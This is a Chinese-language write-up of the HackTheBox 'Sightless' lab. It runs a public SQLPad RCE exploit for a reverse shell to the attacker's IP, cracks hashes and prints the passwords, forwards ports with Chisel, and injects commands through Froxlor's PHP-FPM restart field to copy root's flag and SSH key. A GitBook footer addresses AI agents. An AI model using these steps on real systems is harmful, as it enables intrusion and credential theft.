> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/sightless-hackthebox-writeup.md).

# Sightless HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/Sightless>" %}

{% hint style="warning" %}
**技能**:

* SQLPad 利用
* LINpeas 枚举系统
* 破解哈希（John）
* 端口转发（chisel）
* Froxlor（命令注入）
  {% endhint %}

## 侦察 <a href="#reconnaissance" id="reconnaissance"></a>

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/d5e4ae92e40ffb2de72f066900fe11969a8731e2" alt=""><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/83a48a09d7e2562f33ae6d1736347e9dda3a2863" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.32 -oG allPorts
```

<figure><img src="/files/3cbe7f93f4592a0e56cf122bebe40cbc79395976" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将其复制到剪贴板（21,22,80）

<figure><img src="/files/b6545a62f988d74fd799967abc059a7994643228" alt="" width="563"><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p80,22,21 10.10.11.32 -oN targeted
```

<figure><img src="/files/eaefd7488e1b950b27310da05acfc69b921004ad" alt=""><figcaption></figcaption></figure>

为了通过 DNS 将域名解析为 IP 地址，我们将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="/files/d485fd2d8356518ce4b38854eeba7091a9ed6883" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/c2eaf99b5572751781ef005031f8d0931b02b724" alt=""><figcaption></figcaption></figure>

我们找到一个可能的邮箱： `sales@sightless.htb`

<figure><img src="/files/d99262cba0ba12fda01d2922129758b97ee4254b" alt="" width="563"><figcaption></figcaption></figure>

## SQLPad 漏洞：

{% hint style="info" %}
**SQLPad** 是一个开源工具，可通过友好的网页界面轻松执行、查看和分享 SQL 查询。它非常适合数据团队或开发人员。
{% endhint %}

<figure><img src="/files/77947a37e50f416ea9aec38d2212472d5fd86f2a" alt="" width="563"><figcaption></figcaption></figure>

**`http://sqlpad.sightless.htb`**

<figure><img src="/files/76e4bd86e50300472763723836805d91934afcfd" alt=""><figcaption></figcaption></figure>

**存在漏洞的版本：**

位于 `http://admin.sightless.htb` 使用的是 SQLPad 6.10.0，该版本存在已知漏洞。

<figure><img src="/files/4a32d6dfa602039bf142f66f61d439906e4d7bc1" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944>" %}

**安装：**

```bash
git clone https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944
cd sqlpad-rce-exploit-CVE-2022-0944
```

**运行利用程序：**

```bash
python3 exploit.py http://sqlpad.sightless.htb/ 10.10.14.89 443
```

我们在 443 端口上监听，使用 `nc`，并获得访问权限。

<figure><img src="/files/a8082850725c0f07875894a3a6eea4e78423559a" alt=""><figcaption></figcaption></figure>

## 权限提升

进入系统 root 后，我们发现两个用户： `michael` 和 `node`，以及一个名为 `linpeas.sh`。后者用于对系统进行枚举，以检测潜在漏洞。

<figure><img src="/files/c6a837bde57f183927ef664363deb89d920fcc46" alt=""><figcaption></figcaption></figure>

### **系统枚举（**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):** <a href="#system-enumeration-linpeas" id="system-enumeration-linpeas"></a>

<figure><img src="/files/ae36c55505d79b064267b7ee4c5908fcb53fa929" alt=""><figcaption></figcaption></figure>

我们使用 Linpeas 进行权限识别，并发现用户的哈希密码 `root` 和 `michael`.

<figure><img src="/files/19acc04bf952675c37dcbe1a11c805cca552a09f" alt=""><figcaption></figcaption></figure>

我们尝试使用 John 和 Rockyou 字典破解这些密码：

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

以下是恢复出的密码：

`root:blindside`

`michael:insaneclownposse`

<figure><img src="/files/6073bcb8064e98c24ec0e2992af2b11bfe8074c4" alt=""><figcaption></figcaption></figure>

### user.txt 旗标

通过使用用户登录 `michael`，我们获得文件 `user.txt`。然而，root 密码似乎不正确。

<figure><img src="/files/d755d171e67c88e01efb7e6a1691b500a1d5c9c2" alt=""><figcaption></figcaption></figure>

### **Chisel（端口转发）**

我们首先使用以下命令在内部查看开放端口：

```bash
netstat -nltp
```

我们注意到端口 **8080** 引起了我们的注意。

<figure><img src="/files/109663ad1636ab93511fa423128b96329d4283a6" alt=""><figcaption></figcaption></figure>

通过发起一个 `curl` 请求到该端口，我们获得了一个包含用户名和密码登录表单的 HTML 页面。

<figure><img src="/files/829a81cc42ae43be7d6dbb429592325406e1b216" alt=""><figcaption></figcaption></figure>

为了将这个内部内容暴露到外部，我们将使用 **Chisel** 工具。我们将使用以下方式把 Chisel 二进制文件传输到我们的机器： **Python** 和 **wget**:

```bash
wget http://10.10.15.35:321/chisel

python3 -m http.server 321
```

<figure><img src="/files/749483378f75303be902ac935c134b9ac41ccf3e" alt=""><figcaption></figcaption></figure>

接下来，我们在攻击机的端口上监听 **8888**:

```bash
chisel server -p 8888 -reverse
```

在目标机器上，我们以客户端模式运行 Chisel 脚本，以连接到我们攻击机的端口 **8888**。因此，我们将受害者的 localhost 端口 **8080** 重定向到我们的端口 **8081**:

<figure><img src="/files/8b250b31af078f981961e1ceaa25b4b6dc9677e4" alt=""><figcaption></figcaption></figure>

通过这种方式，我们将内部运行在端口上的服务暴露到外部 **8080** (**Froxlor**).

<figure><img src="/files/bd59e553319d8ba534084c85e424c72d4bbc4fec" alt="" width="563"><figcaption></figcaption></figure>

`admin:ForlorfroxAdmin`

{% hint style="info" %}
Froxlor 是一个网站托管管理控制面板，允许用户轻松管理其服务器和托管服务。它提供了一个友好的界面，用于配置和管理服务器资源，例如域名、数据库、FTP 账户和电子邮件服务。
{% endhint %}

**创建一个新的 PHP 版本：**

登录后，进入“PHP”部分，然后进入“PHP-FPM Versions”并创建一个新版本。在 PHP-FPM 重启命令字段中，输入以下命令： `cp /root/root.txt /tmp/root.txt`

<figure><img src="/files/d715d55015979a245e5d662c4b843745e21ec492" alt=""><figcaption></figcaption></figure>

保存配置，然后前往 `http://127.0.0.1:8081/admin_settings.php?start=phpfpm`。禁用 PHP-FPM 并保存更改，然后重新启用并再次保存。这将触发复制命令执行。

<figure><img src="/files/aba608787d571436662bda5110d5fe381feb529e" alt=""><figcaption></figcaption></figure>

这是文件，现在你必须赋予权限：

<figure><img src="/files/cc653a1345575cb2193680bfc3f173a02c5b0dbd" alt=""><figcaption></figcaption></figure>

要继续，请重复相同过程，但将命令替换为：

```bash
chmod 644 /tmp/root.txt
```

### root 标志：）

<figure><img src="/files/3ba64938164e2b9781633b2f6c368a2c4d1c9f7b" alt=""><figcaption></figcaption></figure>

要连接，你只需复制 `id_rsa` 密钥（root 的 SSH）并重复该过程以恢复权限：

```bash
cp /root/.ssh/id_rsa /tmp/id_rsa
```

```bash
chmod 644 /tmp/root.txt
```

<figure><img src="/files/94f03a1e9ba7e716ef5622029f8faba082e3832e" alt=""><figcaption></figcaption></figure>

然后使用该密钥通过 SSH 登录：

```bash
ssh -i id_rsa root@localhost
```

<figure><img src="/files/fe5f5432a908e7037645625df8469c6285016dd2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/459c0d536cbe8bd514a71201c474c5aafb1fd14d" alt="" width="543"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/sightless-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
